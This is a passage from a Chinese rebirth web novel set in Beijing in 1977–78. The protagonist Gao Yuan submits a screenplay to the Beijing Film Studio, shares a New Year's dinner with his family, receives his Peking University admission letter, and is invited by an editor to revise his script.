之所以磨叽到今天,除了没琢磨出来合适创作的剧本外,另外就是,随着《人民x报》刊登了他的高考作文,他也算人民群众关注的焦点人物了。 勉强算是有了点虚名。 别小看这点虚名,对他投稿有莫大助益。 他只是觉得多少有些对不起刘学红同学,倒不是说刘学红同学的作文没被报纸刊登。 也登了。 但他这不是把原本该属于刘学红同学的高考状元给拔了份了么。 心里多少还是有点愧疚的。 但也没办法,出名要趁早,早点成名就能早些实现财富自由。 高远拎得清。 他出了门,又不想挤公交车,便跟秦大爷借了自行车,从新开路胡同出发,风驰电掣一路向北杀。 过北海、什刹海,十几公里的路程,一直到北太平庄,也就是几年后北三环蓟门桥附近,他才下了车子喘口气儿。 北电和北影厂都在这地界上。 这里也是高校云集的所在,中农大、林大、邮政学院,包括高跃民工作的首都钢铁学院,都在这片儿。 这就是传说中八大高校聚集的学院路。 清北两家知名学府距此处也十分近。 喘匀了气儿,高远推着车子走到北影厂门卫室,踢下撑子将28大杠停好。 他四下里扫了扫,见北影厂里面大多是苏式风格的建筑,厂门口三个工农兵样式的厂标十分显眼,遂撇了撇嘴。 这里说的苏式风格,不是苏州风格,而是老毛子风格。 一个大爷见他站在窗户外面眼珠子乱瞄,冷淡地问道:“干嘛的?” 高远走过去,先把烟掏出来,两毛八的大前门,递上一根后笑着说:“大爷您好,我是来投稿的。” 大爷没拿自个儿当外人,接了烟吹口气儿,没舍得抽,别在了耳朵上,似嘲讽不像嘲讽道:“你小子大前门开道,是想让我给你开后门啊。” 高远乐了,这才把牛皮纸袋递了过去,说:“可不敢让您老开后门,我一看您就是个原则性很强的老同志,给您递根烟,代表我对您的敬重,可不算我贿赂您。” “哟呵,本地土著吧你是?口条够利索的。” “您慧眼如炬。” 大爷把牛皮纸袋子接了,得了好处真办事。 他从桌子旁边拽过来一个小黑板,用粉笔刷刷写上:《电影创作》杂志社有投稿一篇,速取。 写好后往玻璃窗后面一竖,完活儿。 “谢谢您老。”高远又把剩下半包烟放在了桌子上。 大爷眯眼笑了,把耳朵上那根摘下来点了,随口问道:“家哪儿的?咋蹬着自行车来了?” 高远笑着回答:“东城的,新开路胡同那片儿,合计着离厂子也不远,就不给邮递员同志添麻烦了。” 大爷点点头,“觉悟还挺高。得,等消息吧,稿子过没过,都会有人通知你的。” 高远再次道声谢,说了句回见,蹬上自行车奔首都钢铁学院而去。 高跃民在办公楼下面看到儿子时,多少有点意外,“你小子怎么过来了?” “在家里闲得难受,来找您混顿饭吃。”高远肯定不能跟老爸说,他是去北影厂投稿的。 剧本能不能通过审核还两说着,等通过了,给父母一个小惊喜,那成就感会高一些。 高跃民笑了,“嗯,你这段儿也确实闲得慌了,出来逛逛也不错。走,跟爸吃饭去,来得早不如来得巧啊,今儿教职工食堂蒸包子。” “哟,那我可有口福了,学院的伙食标准很高嘛。”高远推着车子,边走边说。 高跃民苦笑不已,心说伙食标准高,每人每月也就那点儿定量,吃完后还不够,就得自个儿想办法了。 通常的办法只有一个,去黑市里换粮票,这事儿大家都干过。 不过儿子难得来一趟,高跃民也大方了一回,用饭票买了半斤包子,两碗鸡蛋汤,让儿子吃顿饱的。 这里说的“半斤”,指的是半斤面粉的重量,不是半斤包子。 包子是猪肉白菜馅的,掺了些油渣,高远咬了一口,那叫一个香。 又端起鸡蛋汤喝了一口,也香。 来食堂里吃饭的老师不多,但也有几个高远看着面熟却叫不上名字来的老师。 几位老师远远瞧见这爷儿俩相对而坐,一口包子一口汤,吃得热火朝天,都跑过来热情地打招呼。 “高老师,这小伙子是你儿子高远吧?长得跟你可太像了。” “我听说你家高远是京城今年的高考状元啊,不得了,青年俊彦!” “要说还是高老师教育得法,才能培养出小远这么优秀的孩子来。” 高远眉开眼笑,心说哎呀,我可太喜欢“青年俊彦”这四个字了。 高跃民的嘴巴都快咧到耳根子上去了,他谦虚地说道:“各位老师捧了,您几位过奖了,犬子高远,虽说在这次高考中取得了还算不错的成绩,也担不起您各位如此称赞。” 高远翻个白眼儿,老爸,教育得法这事儿您咋不反驳一下,咋那么好意思照单全收了呢? 敢情我这个京城地区的状元郎,没您的精心培养考不考得上还另说对吧。 哪有这么给自己脸上贴金的? 跌份了您有点儿。 第22章 元旦 说了几句话,几位老师也不好多打扰这爷儿俩用餐,端着各自的搪瓷缸子告辞离开,寻个空座开吃。 高远吃了三两包子,喝了一碗鸡蛋汤,饱腹感让他很满足。 老爸吃了二两,他饭量不大。 “爸,晚上我做点好吃的,咱家也过个元旦?”吃饱喝足后,高远笑着问道。 “把你小姑叫家里来,今晚一起吃个团圆饭吧。”高跃民说道。 高远说好。 生产任务重的小姑还不知道小叔和姐姐从北大荒回来了,还是老爸考虑的周全,趁着过节,喊上小姑,一家人一起热闹一下。 高远没敢提大伯,提了,老爸又该伤心了。 吃过午饭,高远主动拿了老爸的搪瓷饭盆,去水池边洗干净,递到他手里,父子俩这才向食堂外面走去。 推了自行车,高远低声问道:“爸,归还咱家房子的事情有眉目了吗?” 高跃民咝了一声,左右看看,发现没人,这才放下心来嘿嘿笑了。 他也小声说道:“你小叔厉害啊,我也不知道他用了什么办法放出去的风声,但是这几天,找学院领导提归还之前分配住房的老师们一下多了起来。 人多力量大,院领导们再不重视就犯了众怒。 眼下又在招生季,没几天高考成绩就会公布了。 这些被解放的老师都是各学科的带头人、主力军,还担负着去各地招生的重任。 不管是为了安抚人心也好,还是出于其他什么目的也罢,总之学院领导们答应大家会认真研究这件事情的。 今儿从院办透出消息来,说是领导们已经碰过头了,初步同意在年前把收回去的住房退还给各家各户的。” 高跃笑着说:“这么说来,我们年前就能搬回教职工宿舍楼了。” “八九不离十吧,家里东西都齐全,打扫干净就能住,别说你妈跟你了,爸在杂院也住够了,巴不得早点搬回来呢。”高跃民搓着手,心向往之。 “只要能在年前归还,就算大年三十儿房子下来了咱也搬。” 一想到搬回来后不用在每天一大早就去倒尿盆了,家里有独立卫生间,无论洗澡还是上厕所都太方便了,高远也有点小激动。 高跃民笑笑,拍了下高远的胳膊,说道:“快回去吧,外面冷,别冻感冒了。” 高远点点头,蹁上车子铆足了劲儿蹬。 回到胡同,高远先去秦大爷家还了自行车,跟秦大妈道声谢。 这年头,自行车也是个稀罕物,邻居愿意把自家车子借给你,就是大情分。 回了院子后,高远直奔厨房,厨房也是老魏家一直用的那间,比高远家私自搭建的那间可宽敞太多了。 见厨房里仍旧只有白菜、土豆、萝卜这老哥儿仨,高远犯了愁。 晚饭不好掂对啊。 他正琢磨着去哪儿搞些肉菜回来,高跃林叼着根剔牙棍子晃荡过来。 “小叔回来了。” “昂,你跑厨房里做啥?” 高远出了屋,提鼻子一闻,“嚯!没少喝啊。” 高跃林得意一笑,道:“八块钱的茅台造了三瓶。” “你这日子过舒坦了,每天喝酒吃肉的,我可就犯愁了。”高远唉声叹气,故作愁容满面的样子,引诱小叔上钩。 “遇到啥事了,把你愁成这样?”果不其然,高跃林急切地问道。 “今儿不是元旦嘛,老爸给我安排了差事,让我准备一桌酒席,说是晚上一家人好好聚聚。我到厨房里一看,厨房里只剩萝卜白菜和土豆了。 小叔您说,让我用这老哥儿仨做什么酒席? 我就算厨艺再高超,也禁不住巧妇难为无米之炊啊。”高远叫苦连天。 “我当出多大事儿了呢,你跟这儿愁眉不展的,不就是一顿酒席么,放心好了,交给小叔去办,你也别做菜了,等着吃现成的就行。”说完,高跃林转身又晃荡出去了。 算计得逞! 高远抿嘴一笑。 小叔这人是有几个特质的,他局气,也好面儿,朋友多,看对眼的人有困难,他真上。 对家人也掏心掏肺,尤其对高远这个大侄子,那是真好。 只要他有的东西,高远要,他从没说过半个不字。 “小叔您等我会儿。”见小叔快走到门口了,高远追了过去。 “你出去干嘛?” “去喊我小姑晚上回来吃饭。” 高跃林一拍脑门儿,“你不说,小叔都忘记我还有个妹妹了。” 高远白他一眼,挑起大拇指,“您是这份儿的。” 小叔摸摸鼻子,表示我很尴尬。 区棉纺厂距离新开路胡同不远,高远跟小叔在胡同口分别后溜溜达达往西走。 他大概齐能猜出来小叔去哪里点席面儿,不外乎就那么几个地儿,吉祥饭庄、好再来餐馆之类的。 甚至东兴楼、泰丰楼、春华楼等几家老字号,他都混得很熟。 这就是人面儿广的好处。 高远不去管他,溜达到棉纺厂门口。 大爷一见他就笑了,“你小子最近跑得挺勤快啊。” 高远两手一摊,说道:“大爷,今儿出来得急,忘带烟了,赶明再过来的时候再孝敬您哈。” “把你大爷看成什么人了?不给大爷上烟,大爷就不帮你喊人了?等着,大爷这就给车间摇个电话。” 高远笑嘻嘻说道:“别着急啊大爷,这次就别让我小姑往外跑了,车间里也够忙的,耽误了工作可不好。麻烦您帮我给她递个话,就说我爸今晚让她回家吃饭。” 大爷笑道:“你小子觉悟还挺高。成,这话我给你带到。没事儿了吧?没事儿滚吧。” 高远答应一声,麻溜儿滚了。 夕阳西下,先回来的是老妈和姐姐。 老妈留在乡下的东西不多,就是一些日常换洗的衣服和一套被褥,还有一副听诊器,一个药箱。 高雅化身大力士,她把被褥扛在肩上,手里还拎着药箱,照样龙行虎步。 高远一乐,“姐,你这几年在北大荒没白待啊,苦也没白吃,别的不说,这一把子力气算是锻炼出来了。” 高雅也乐了,把药箱递给高远,她说道:“必须必,每天上工,手里不是锄头就是铁锹,甭管你去的时候多柔弱,只要在垦区待个一年半载的,干农活就是把好手。” 第23章 录取通知书来了 说笑间,父亲和小姑一起走了进来。 “你俩怎么碰到一起去了?”张雪梅笑着问道。 “我和二哥是在胡同口碰见的。小雅,姑想死你了!”高跃然先回答了张雪梅的问话,接着扑向高雅。 “小姑,我也想您。”高雅跟小姑热烈拥抱。 “快让小姑好好看看。”高跃然端详着侄女,伸手轻抚着她的脸,突然红了眼眶,“黑了,也瘦了,这是遭了多大的罪啊……” “小姑不哭,有小叔关照着,我没遭多少罪,您是没见到跟我一起去的几个女知青,她们才真叫一个惨,有个女同学,因为吃不了那份苦,去了没几天就投河自尽了。”高雅是懂事的,她反过来安慰着小姑。 高跃然抹一把眼泪,叹息着说道:“都不容易啊,听你这么说,我小哥去了北大荒后懂人事儿了?” 高雅狠狠点头道:“非常懂人事儿。” “嘿!嘿!骂谁呢这是?背地里嚼人舌根子,你俩不怕将来下拔舌地狱啊。”胳膊上挂着个大号竹篮的高跃林走进了屋里。 他撇着嘴说完,立马又凑到高跃然跟前,认真看着她,又道:“你是我妹妹吗你?” 高跃然冷笑道:“你说呢?” “我瞧着不像,哪有妹妹在背地里这么编排亲哥的?” “我也不想啊,实在是您走之前给我留下的恶劣印象太根深蒂固了。” “要不是被你欺负惯了,怕打不过你,我真想踹你一脚!” 一家人全笑喷了。 张雪梅笑道:“你们兄妹俩啊,不见面就想,一见面就掐,我也是挺服气的。得了,都消停点儿吧,别斗嘴了……小远做饭了没?” 一指小叔手上的竹篮,高远笑道:“没,我小叔发话了,新年第一天,这顿他请了。小叔,您都带什么好吃的回来了?” 高跃林得意一笑,掀开竹篮上面盖着的蓝布,向大家展示了一下,说:“一下午我跑了半个四九城,费了老鼻子劲才凑了这些东西。” 高远往里一瞧,接着伸进手去,将一个个油纸包拿了出来。 打眼一瞧,“好家伙,全聚德烤鸭,这是天福号的酱肘子,还有白魁老号的烧羊肉,怎么还有个砂锅?” 高跃民也凑了过来,闻了闻,咧嘴笑了,“砂锅居的炖吊子。” 高跃林把竹篮塞给二哥,也从里边端出两个盘子来,递给张雪梅,说道:“还有我二嫂爱吃的丰泽园的糟熘鱼片和葱烧大乌参,就是这破天儿太冷了,得重新热一下才能吃。” “不要紧的,热一下又不费劲儿,难得我兄弟还记挂着嫂子,这份心意嫂子领了。”张雪梅把盘子接过来,笑眯眯说道。 “有没有我喜欢吃的?”高雅连忙问道。 “少的谁的也少不了你的,瞧瞧这是啥?”高跃林递给侄女一个油纸包。 高雅接过来打开一看,顿觉惊喜,“呀,都一处的烧麦!好些年没吃到这口了,谢谢小叔。” 她捏了一个先投喂老妈,又送到小姑嘴里一个,自己这才尝了一个,“味儿没变,还是那个记忆中的老味道,太香了。” 高远问道:“小叔,这些老字号都恢复名号了?” 受运动会影响,这些百年老店都改了名。 比如说全聚德,前些年,在上千名小红兵的叫骂声中,被迫摘下了那块传承了102年的老匾,更名为“京城烤鸭店”。 前门大街的盛锡福、王麻子、张一元等这些被认定为带有封建性质的老店在一夜之间全都换了招牌。 就连莫斯科餐厅都没能幸免,那会儿叫京城展览馆餐厅。 六必居那时候叫“红旗酱菜门市部”,1972年,小日子的一把手访华,提出要到六必居参观参观,经过有关部门紧急磋商后,才允许六必居重新挂上了那块老匾。 破四旧! 立四新! 砸烂旧招牌,砸出新世界! 港式的发型不许理,港式的衣裙不许做! 对于前些年发生过的这些事情,两世为人的高远记忆不那么深刻了,所以他才有此一问。 高跃林撇着嘴说道:“恢复啥啊恢复,大多数老字号仍在用着新名字,不伦不类的,但我们这些老Bj人心里都有谱,也叫惯了老字号的老名字。 不说这个了,有些敏感。 天不早了,咱们开席吧。” 他又从怀里摸出两瓶茅台酒来。 “你们先吃着,我去把这两盘菜热了。”张雪梅说道。 “二嫂,我跟你一起去。”高跃然跟上。 高雅也跟了过去。 爷儿仨把几个油纸包摆放在八仙桌上,又将八仙桌往外挪了挪,摆好椅子,高跃民坐在正中。 高跃林坐在他右手边。 高远拿来酒杯摆好,把茅台酒拿起来看了看。 这时候的茅台酒包装很简陋,倒也是白瓷瓶,但外面包着一层黄纸,直接拉低了它的档次。 又一瞧,背标是三大革命。 这是它最显著的一个特征。 并且小叔拿来的是两瓶葵花茅台。 高远记得,背标是三大革命的葵花茅台,在80年代初就停产了。 他心里暗暗琢磨着,这酒倒是可以囤一些,放它个几十年,转手一卖就是三环内的一套房。 况且小叔有渠道。 等自己挣了稿费,囤它一批。 拧开瓶盖,高远给老爸和小叔倒满,自己也倒了一杯。 爷儿仨没着急喝酒吃菜。 等三位女同志回来后,高远撺掇老爸道:“爸,说两句呗。” 高跃民端起酒杯,笑呵呵环视亲人,有点感慨地说道:“那就简单说两句。咱们家,很久没聚的这么齐全过了,我非常高兴。 还有,在过去的一年里,家里发生了很大的变化。 小远长大了,成熟了,最近的表现让我和你妈深感欣慰。” 张雪梅点头微笑。 高跃民继续说:“跃然也踊跃参加了高考,在工作中也表现的积极上进,从来没给我这个当哥哥的添什么麻烦。” 高跃然红着脸说道:“二哥,我都多大人了,再给你添麻烦我自个儿都觉得不好意思了。” “好啊,好,你是咱们家最让我省心的那一个。”他看了看高跃林,又凝望着高雅,说:“最让我高兴的是,老三和小雅平安归来了。 今儿是元旦佳节,是78年开年的头一天,新年要有新气象,我不提那些让我们都感到不愉快的事情。 我只希望,打今天起,全家人团结起来,把咱家的日子过红火。 在这里我也给大家送上祝福,首先祝贺雪梅重返工作岗位,愿你的新年每一天都充满阳光和欢笑,每一步都走得坚实而有力。” 张雪梅感动得眼眶发热,她也端起杯子说道:“谢谢老高,有你在我背后强有力的支撑,我一定能干出一番成绩来的。” 夫妻俩喝了一杯。 高远和姐姐对视一眼,俩人都笑了。 父母还都挺能整词儿。 高跃民又说道:“老三,你把酒杯端起来。” “好的二哥。” “二哥别的不提,只希望你能分配个合适的工作,然后尽快给二哥领个弟妹回来。” 高跃林脸都红了,跟高跃林碰了碰杯,喝干后说道:“我尽量,尽量。” 见他这副窘迫的样子,大家又笑了起来。 高远给老爸和小叔倒满酒。 高跃林继续发表祝福:“祝你们三个学业有成。” 三位未来的大学生忙端起酒杯,对他表示了感谢后喝干杯中酒。 一杯喝下去,高跃然就吐吐舌头,死活不肯让高远继续倒了。 高雅笑着打趣说道:“小姑,您这酒量还得练啊,这也太差劲了。” 高跃然啐了一声,道:“说得像你多能喝似的。” 高跃林加了块烧羊肉放进二哥碗中,嘿嘿笑道:“小妹你小瞧高雅了,这丫头,在冰天雪地的垦区待了四年,可不光学会了劳作,酒量也锻炼出来了,不瞒你们说,小雅喝一斤高度的烧刀子,跟喝凉白开似的。” 高跃民惊讶道:“真的假的?” 张雪梅和高远也目不转睛盯着高雅。 高雅有点不好意思地说道:“哎呀,你们别这么看着我呀,你们也不想想,东北那地儿天寒地冻的,一到十月份气温就直线下降,不喝点酒,人压根儿就不敢出屋。 我这是喝着喝着,没留神就把酒量给锻炼出来了。” 一句话又引得大家哄堂大笑。 菜丰盛,酒醇厚。 这顿饭全家人吃得心满意足。 也是高远重生回到这个年代后吃得最过瘾的一顿饭。 好酒好肉敞开了肚皮可劲儿造,全是托了小叔的福啊。 “小叔,我敬您一杯。”这一刻,高远决定,这辈子怎么也得拉小叔一把,不能再让他像上辈子一样四海为家,飘零一生了。 “干!”高跃林敏锐地察觉到侄子眼中闪烁着异样的光芒。 他也没多想,仰脖干了杯中酒。 晚上八点钟,这顿饭才吃完。 高远帮着老妈把剩菜端进厨房里,想洗碗,被小姑给推了出来。 “你就别动手了,歇着去。” 小姑是真疼这家伙。 高远笑着回到屋里,陪着老爸和小叔喝了会儿茶,眼见着夜已深,他和小叔回了房间。 时光如流水般悄然逝去。 这日上午,当邮递员清脆的自行车铃声响彻整条胡同时,已经是1月15号了。 “新开路35号,高远在家吗?有你一封信,抓紧出来签字拿走。”头戴绿帽的邮递员同志站在门口大声喊道。 高远蹭就跑了出来,他接过信封看一眼邮寄地址,乐得小舌头都清晰可见了。 盼望已久的录取通知书终于到了。 他心说,这玩意儿就像后世的网购一样,虽说早知道自己买了什么,但还是抑制不住快点拿到手的急迫心情。 第24章 可把你给盼来了 签了字,高远当着邮递员同志的面把信封撕开,取出录取通知书展开看了一眼。 也不叫录取通知书,抬头是:高等学校学生入学通知书。 一张白纸,手写的姓名和学校名称以及被录取专业。 高远同志:经京城市招办批准,你入Bj大学中文系文学专业学习,请于一九七八年二月二十五日前,凭本通知到校报到。 下面盖着市高等学校招生委员会和北大两枚鲜红的公章。 没错,称呼是高远同志,不是高远同学。 “哟,你被北大录取了呀,恭喜恭喜。”邮递员也看了看,冲他拱拱手以示祝贺。 高远是个懂人情世故的,他先把入学通知书塞回信封里,又掏出烟来递给邮递员一根,笑着说:“感谢感谢,喜烟,您来一根。” 邮递员一看,哟,红牡丹,把烟接过来,乐道:“大学生的喜气我可得沾,我就不打扰了,你也快点回去跟父母说这个好消息吧。” 他把烟别在耳朵上,蹬上车子去其他家送信了。 这段时间邮递员们最忙碌,随着高考成绩的出炉,各地高校的入学通知书如雪片般洋洋洒洒纷至沓来。 邮电局领导给邮递员们下达了死命令,除了需要由各革委会,或者学校转交的信件,只要是留了家庭地址的,务必要把入学通知书送到被录取学生本人的手中。 一下子增加了他们的工作量。 由此也可以看出国家对恢复后的第一届高考有多重视。 高远回到屋里,又取出入学通知书认真看了一遍。 想起前些日子北大招生办的老师亲自登门,言辞恳切地邀请自己去北大就读的一幕,他就抑制不住的笑了起来。 当时高远对招生办老师说,我填报了三所院校,人大都属于硬咬着牙报的,压根儿没敢奢望会被录取,已经做好了被调剂到北师大或者明珠大学的思想准备。 北大更是想都不敢想。 您邀请我去北大就读,我高兴的同时也有点惶恐。 那位刘老师笑着说,但你就是货真价实的高考状元啊,小伙子不要妄自菲薄,更改填报院校的事情我们会处理好的,现在就要你一句话,你愿不愿意来北大读书。 见他还端着,高跃民急坏了,心说你个小子怎么回事?人家老师都找上门来亲自跟你面谈了,你还拿腔拿调的,有点不知道好歹了你。 他一拍大腿对刘老师说道:“这个主我替高远做了,就去北大。辛苦刘老师啊,还麻烦您亲自跑一趟。” 面对高跃民这个同行,刘彩华言语中就多了几分尊重和客气,她说道:“高老师您太见外了,您也从事招生工作,肯定也清楚我们这些高等院校对优秀学生,尤其是对各地的状元郎那真是求贤若渴的。 名校价值嘛,说到底就是通过哪家院校能录取到更多的优质生源来实现的。 我跑这一趟不算啥,况且高远这么优秀,多少名校都盯着他呢,特别是隔壁,我听说盯他很紧,我不来一趟,不得到高远同学一句准话,心里也不踏实不是?” 听了这话高远也绷不住,笑了。 用后世的话说,现如今这两个冤家就已经开始卷了吗? 高跃民显然也是知道这两所高等学府之间复杂的渊源的,也笑了起来,“您把心放在肚子里,高远去北大就读这事儿,不会再有变化了。” 高远也点头说道:“刘老师,感谢学校领导和您对我的看重,入学后,我会以饱满的精神状态投入到学习中去的。” 听了父子俩的表态,刘老师这才眉开眼笑地告辞离开。 走之前她还殷切地叮嘱高远,不论哪家高校再找过来,你一定要全部予以拒绝。 高远爽快地答应下来。 她猜得非常正确,她前脚刚走,清华招生办的两名老师后脚就过来了。 谈了一会儿,两名老师遗憾离开。 紧接着,人大的老师也亲自登门,劝说高远去他们学校就读。 你报考的第一志愿是我们人大啊,这说明你对人大是十分向往的,再说我们人大文学系也不比北大差。 老师甚至还含蓄地暗示高远,你来了后,我们会对你有一定程度的教育资源倾斜。 高远和父亲还是礼貌地婉拒了老师的盛情邀请。 人大的老师是骂骂咧咧走的,北大截胡本属于自己的优秀生源,跟他妈半道里强抢民女的活土匪有什么两样? 但他也清楚,论对考生的吸引力,人大跟北大还是有些差距的。 姐姐的录取通知书是四天后才从北大荒转过来的。 高雅等的心焦了都,拿到入学通知书那一刻,她抱着高远又蹦又跳,接着喜极而泣。 高远特别能理解姐姐为什么如此激动。 入学通知书到了手,回城一事才算是彻底落听,包括被转到垦区的户口,粮食关系等等,都会被转回来。 严格意义上说,姐姐现如今还是农村户口,在京城没有粮食定量,吃的是父母和弟弟的口粮。 得拿着入学通知书再回垦区一趟,走个程序才能把户口和粮食关系迁回来。 当天晚上,一家人就说好了,老爸陪高雅跑一趟,尽快把户口和粮食关系迁移回来。 高跃林的户口问题也得解决,虽说他以治病的名义回来了,但没办手续,按理说病治好后还得回去继续劳动。 但张雪梅有办法,她从医院托关系开了张不适合继续参加高强度劳动的医嘱证明。 有了这张证明,垦区就会放人,也能顺利把户口和粮食关系迁回来,正式结束他为期四年多的知识青年上山下乡之生活。 高跃林乐呵呵地主动请缨,说自己愿意陪侄女跑一趟。 被高跃民拒绝了,“你还在生病住院期间,一回去不就露馅了吗?老实待着,闲得难受,就多帮你二嫂干点活。” 高跃林笑着说:“还是我二哥考虑得周全啊,家里你就甭操心了,我会帮你守好家的。” 次日一早,高跃民父女俩直奔南站,登上了去北大荒的火车。 下雪了。 1978年的第一场雪从半空中洋洋洒洒飘落下来。 大地银装素裹,污浊的空气被这场雪净化得清新了许多。 这是高跃民父女俩走后的第三天。 高远心想,老爸和姐姐应该已经抵达龙江垦区了。 就是不知道事情办得顺不顺利。 他透过窗户向外面望过去,见雪花纷飞,有越下越大的趋势,心说这会儿去扫雪相当于白扫,打扫干净了没多大会儿又得被覆盖上一层。 也就没了打扫院子的心思。 一个身形消瘦,浑身雪白的男子推着自行车进了院子。 “高远同志在家吗?”来人将自行车靠墙边停好,站在院子里茫然四顾,接着大声喊道。 找自个儿的? 高远从床上一跃而起,提上棉鞋出了门,挑起棉门帘子望着那人,说道:“同志您好,我就是高远,您找我有事儿?” 男子快步走过来,脚下一滑,险些摔倒,稳住身形后摘下手套,热情地伸出手,自我介绍道:“状元郎您好,我叫梁晓声,是北影厂文学部的编辑。” 可算把你盼来了。 高远伸出手跟他握了握,笑容满面道:“梁同志您好,大冷的天儿您还专程跑一趟,快屋里坐,喝杯热茶暖暖身子。” 他也纳闷儿,稿子都投过去半个多月了,怎么一点消息都没有? 难不成没过稿? 传达室那大爷说过,无论过不过稿,编辑部都会跟作者知会一声的。 今天梁晓声亲自来了,高远踏实了。 拍拍大衣上面的雪花,又跺跺脚,梁晓声才随高远进了屋,打量着屋里的陈设,梁晓声说道:“真宽敞啊。” 他今年29岁,尔滨人。 后世他接受采访的时候说,家里人口多,日子过得挺紧巴。 但他是个好学的,74年就凭借出色的写作才华被复旦中文系录取。 毕业后,也就是去年,被分配到了北影厂文学编辑部工作。 高远熟知他的生活经历,在生产建设兵团度过的七年知青岁月,在后来成为他文学创作的灵感和源泉。 他一系列以知青这个群体为原型创作的《这是一片神奇的土地》、《今夜有暴风雪》、《年轮》,以及后世根据他的作品改编的电视剧《人世间》,高远都认真阅读、观看过。 当然,现在他还没成名。 但高远一点都不小看他。 泡了杯高末递给梁晓声,高远笑着说:“怎么,梁同志住得挺紧巴?您请坐啊,别站着了。” 他其实有些意外,没想到北影厂把他给派过来了。 梁晓声这才在椅子上坐了下来,捧着水杯喝了一口,咧嘴笑道:“我在厂里住宿舍,两人一间十二平米,确实紧了点儿。” 高远点点头,没继续聊这个话题,他问道:“您冒着大雪过来找我,是来通知我,稿子通过审核了?” 梁晓声端详着他,嘿嘿一笑道:“状元郎写的剧本,那指定得通过审核啊。” 第25章 进厂 “状元郎这事儿您就不要再提了,我纯蒙的。”高远挠头一笑,说道。 “说实话,我们收到您剧本的时候,看到署名根本没把您和京城高考状元往一起联想,编辑部的几位老师只对故事感兴趣,讨论过后都觉得这是个不错的本子。 后来还是江淮廷老师提了一句说,这个高远同志,不会就是今年京城的高考状元吧? 几位老师把《人民x报》上您写的作文拿出来跟您的剧本做了对比,都感觉遣词用句上有异曲同工之处。 又看了您留下的家庭住址后大家才确信,此高远和彼高远是同一个人。” 梁晓声话很密,聊起天来滔滔不绝。 高远被他夸得都不好意思了,笑容羞赧,抿着嘴说道:“感谢老师们的认可啊,这么说来,我的剧本算是得到通过了?” “只能说一审通过了,还有些需要修改的地方。我今天过来,就是来邀请您去厂里改稿的。”梁晓声说出了他来的真正目的。 去北影厂改稿啊。 高远不想去,面露难色。 “您放心,您去了后我们管吃管住,就住在我们厂的招待所里,宿舍是单间,一天三顿饭管饱是没问题的,不会让您花自个儿的钱和粮票。” 梁晓声以为高远是担心多花钱和粮票才不愿意去厂里改稿的。 还有这种好事儿? 这样一来,自己节省下来的粮票就能贴补家里了。 高远这才嘿嘿一笑,貌似憨厚地说道:“您误会了,我不是不想去北影厂改稿,只是觉得离过年也没几天了,过完年一眨么眼儿我就要去北大报到,时间上挺紧张的,我担心耽误了事情。” 梁晓声摆着手说道:“这点您完全不用担心,改稿也不是一两天就能完成的工作,这是个长期工程,况且剧本改完,通过审核后还得建组,剧组成立后也要挑选合适的演员。 编辑部领导的意思是,您在北影厂改稿,一来便于随时沟通。 这二来嘛,剧组成立后,您也得参与进去。” “改稿,改什么稿啊?这位是……”张雪梅推门走了进来,她在门口听到了两人的交谈,进屋一瞧有个不认识的人在,便好奇地问道。 梁晓声赶忙站起身。 高远也站起来给两人介绍着:“梁同志,这是我母亲张雪梅。妈,这位是北影厂《电影创作》编辑部的编辑梁晓声同志。” 梁晓声特有礼貌,“阿姨好。” “梁同志你好,刚才我在外面听了一耳朵,你说让我儿子改稿,这是怎么回事啊?”张雪梅仍旧一头雾水,自己儿子怎么又跟北影厂扯上关系了? 他还有多少事情瞒着我? 梁晓声赶忙解释道:“是这样的阿姨,高远同志创作的一个剧本投给了我们厂编辑部,经过编辑部老师们的审阅后顺利通过,报厂领导研究后,我们决定买下这个剧本,将其改编成电影。 本子虽说挺成熟的,但有些细节还需要进一步推敲修改,编辑部的领导就让我跑一趟,跟作者见个面谈一谈,邀请高远同志去厂招待所对剧本进行修改。” 张雪梅张了张嘴,既意外又惊喜,虽说她不知道儿子写了个什么故事被北影厂看上了,也为儿子感到高兴。 “我儿子大小写作文就好,这次高考作文还被《人民x报》全文刊登了呢,不是我吹,他在创作这方面确实有点天赋。那啥,梁同志,我问一下啊,他写的这个剧本,你们打算给多钱?” 高远捂着脸,从手指头缝里瞄老妈。 太羞耻了,这种事儿您怎么好意思如此直截了当地问出来呢? 掉钱眼儿里了? 其实他也挺想知道的。 梁晓声笑着说:“阿姨,说实话厂里能给多少钱我也不是太清楚,得定稿后领导来拿主意。” 张雪梅有点失望,很快又平复了,温婉一笑说道:“阿姨倒也不是看重金钱,孩子的作品被你们相中了,这对我们当家长的来说更感到高兴。 梁同志你放心,我们全力支持高远跟你去厂里改稿。” “感谢阿姨对我们工作的支持,您也别喊我梁同志了,叫我晓声就行。” “那好,我就叫你晓声了。你快坐,中午在家吃哈。” “不了不了,我回单位还有事儿,就不给您添麻烦了。” 他是过过苦日子的人,知道现如今家家户户都存在不同程度的生活困难,他不想给高远家增添负担。 见留不住他,张雪梅也没强留,对高远说:“小远啊,你去送送晓声。” 高远说声好,把梁晓声礼送出门。 梁晓声推着车子,走到大门外后才问道:“明天啥时候有空啊?” “我一整天都有空。”高远回答道。 “那就上午十点钟吧,我在北影厂门口等您。”梁晓声很急切的样子。 高远爽快地说道:“行。” “明天见啊。” “您路上慢点儿骑,明天见。” 梁晓声蹬着自行车走了。 高远回到屋里,见老妈端坐在椅子上,两眼直钩盯着他,就知道自己不给她个解释看样子过不了关了。 “有啥想问的,您就问吧。” “你啥时候写的剧本?写了个什么故事?从实招来!” 高远的谎话张口就来,“写剧本是半个月以前的事儿了,高考完,我在家闲着没事儿干,除了去钓鱼就去闲逛。 这故事是个喜剧,写的是两对恋人之间发生的趣事,创作灵感来自于我小姑。 您也知道,我经常去小姑厂里找她,见过太多青年男女打打闹闹,说说笑笑的事儿了。 于是就有了灵感,回来后绞尽脑汁创作了这个故事。 然后就抱着试试看的心理投给了北影厂,没想到真被他们相中了。” 听完高远的解释,张雪梅认真想了想,没发现什么破绽,很快就认可了他的说辞,眉开眼笑道:“妈真没想到,你在文学创作方面竟然有这么高的天赋。” “您儿子那高考作文能得高分,可不是胡编乱造的。” “也对,我儿子早就证明过自己的才华了,不然也不会被清华、北大抢破了头。” 张雪梅更加确信儿子天赋异禀了,“你明天就要去北影厂吗?” 高远点头笑道:“上午十点钟就过去。” 张雪梅站起身,说道:“我去给你收拾些东西带着。” 高远连忙拉住老妈,“不用不用,北影厂招待所啥都不缺,我带两套换洗衣服过去就行。再说离家又不远,缺啥少啥了我随时回来拿就是了。” 张雪梅一想也是,就没在张罗着给高远收拾物品。 她说起了另一件事情,“你小姑的入学通知书也寄过来了,她给我打电话说,被临安大学录取了,不过是大专,专业是政治学。” 